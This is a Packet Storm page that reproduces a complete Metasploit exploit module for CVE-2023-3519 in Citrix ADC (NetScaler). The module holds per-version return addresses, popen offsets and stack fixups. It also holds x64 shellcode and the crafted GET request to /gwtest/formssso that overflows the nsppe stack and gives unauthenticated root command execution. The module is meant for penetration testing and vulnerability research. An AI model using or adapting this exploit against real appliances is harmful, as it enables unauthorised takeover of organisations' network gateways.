Lucene search

K
packetstormRon Bowes, Spencer McIntyre, Douglass McKee, metasploit.comPACKETSTORM:173997
HistoryAug 04, 2023 - 12:00 a.m.

Citrix ADC (NetScaler) Remote Code Execution

2023-08-0400:00:00
Ron Bowes, Spencer McIntyre, Douglass McKee, metasploit.com
packetstormsecurity.com
204
citrix adc
netscaler
forms sso
rce
vulnerability
unauthenticated attacker
stack buffer overflow
nsppe process
http get request
root access

EPSS

0.966

Percentile

99.7%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = NormalRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Citrix ADC (NetScaler) Forms SSO Target RCE',  
'Description' => %q{  
A vulnerability exists within Citrix ADC that allows an unauthenticated attacker to trigger a stack buffer  
overflow of the nsppe process by making a specially crafted HTTP GET request. Successful exploitation results in  
remote code execution as root.  
},  
'Author' => [  
'Ron Bowes', # Analysis and module  
'Douglass McKee', # Analysis and module  
'Spencer McIntyre', # Just the module  
],  
'References' => [  
['CVE', '2023-3519'],  
['URL', 'https://attackerkb.com/topics/si09VNJhHh/cve-2023-3519'],  
['URL', 'https://support.citrix.com/article/CTX561482/citrix-adc-and-citrix-gateway-security-bulletin-for-cve20233519-cve20233466-cve20233467']  
],  
'DisclosureDate' => '2023-07-18',  
'License' => MSF_LICENSE,  
'Platform' => ['unix'],  
'Arch' => [ARCH_CMD],  
'Payload' => {  
# at a certain point too much of the stack will get corrupted, should be less than target['fixup_rsp_adjustment']  
'Space' => 2048,  
'DisableNops' => true  
},  
'Targets' => [  
[  
'Citrix ADC 13.1-48.47',  
{  
'fixup_return' => 0x00782403, # pop rbx; ns_aaa_cookie_valid  
'fixup_rsp_adjustment' => 0x13a8,  
'popen' => 0x01da6340,  
'return' => 0x00611ae9, # jmp rsp; ns_create_cfg_nsp  
'return_offset' => 168  
},  
],  
[  
'Citrix ADC 13.1-37.38',  
{  
'fixup_return' => 0x0077c324, # pop rbx; ns_aaa_cookie_valid  
'fixup_rsp_adjustment' => 0x13a8,  
'popen' => 0x01d7e320,  
'return' => 0x015d131d, # jmp rsp; tfocookie_send_callback  
'return_offset' => 168  
},  
],  
[  
'Citrix ADC 13.0-91.12',  
{  
'fixup_return' => 0x008530a2, # mov rbx, qword [rbp-0x28]; ns_aaa_cookie_valid  
'fixup_rsp_adjustment' => 0x12e0,  
# in this version the epilogue of ns_aaa_cookie_valid reads directly from rbp and since the exploit  
# clobbers it, the value needs to be restored  
'fixup_rbp_adjustment' => 0x190,  
'popen' => 0x01f42ec0,  
'return' => 0x024883bf, # jmp rsp; ns_pixl_eval_nvlist_t_typecast_list_t_dynamic  
'return_offset' => 168  
}  
]  
],  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true,  
'WfsDelay' => 10  
},  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
def check  
res = send_request_cgi({  
'uri' => normalize_uri(datastore['TARGETURI'], 'logon', 'LogonPoint', 'index.html')  
})  
  
return CheckCode::Unknown if res.nil?  
  
return CheckCode::Safe unless res.code == 200 && res.body =~ /<title class="_ctxstxt_NetscalerGateway">/  
  
CheckCode::Detected  
end  
  
def exploit  
shellcode = Metasm::Shellcode.assemble(Metasm::X64.new, Template.render(<<-SHELLCODE, target: target)).encode_string  
call loc_popen_arg1  
; add this to the path for python payloads  
db "export PATH=/var/python/bin:$PATH;"  
db "#{Rex::Text.to_hex(payload.encoded)}", 0  
loc_popen_arg1:  
pop rdi  
  
call loc_popen_arg2  
db "r", 0  
loc_popen_arg2:  
pop rsi  
  
mov rax, <%= target['popen'] %>  
sub rsp, 0x200  
call rax  
  
loc_return:  
xor rax, rax  
add rsp, <%= target['fixup_rsp_adjustment'] + 0x200 %>  
<% if target['fixup_rbp_adjustment'] %>  
mov rbp, rsp  
add rbp, <%= target['fixup_rbp_adjustment'] %>  
<% end %>  
push <%= target['fixup_return'] %>  
ret  
SHELLCODE  
  
buffer = rand_text_alphanumeric(target['return_offset'])  
buffer << [target['return']].pack('Q')  
buffer << shellcode.bytes.map { |b| (b < 0xa0) ? '%%%02x' % b : b.chr }.join  
  
send_request_cgi({  
'uri' => normalize_uri(datastore['TARGETURI'], 'gwtest', 'formssso'),  
'encode_params' => false, # we'll encode them ourselves  
'vars_get' => {  
'event' => 'start',  
'target' => buffer  
}  
})  
end  
  
class Template  
def self.render(template, context = nil)  
case context  
when Hash  
b = binding  
locals = context.collect { |k, _| "#{k} = context[#{k.inspect}]; " }  
b.eval(locals.join)  
when NilClass  
b = binding  
else  
raise ArgumentError  
end  
  
b.eval(Erubi::Engine.new(template).src)  
end  
end  
end  
`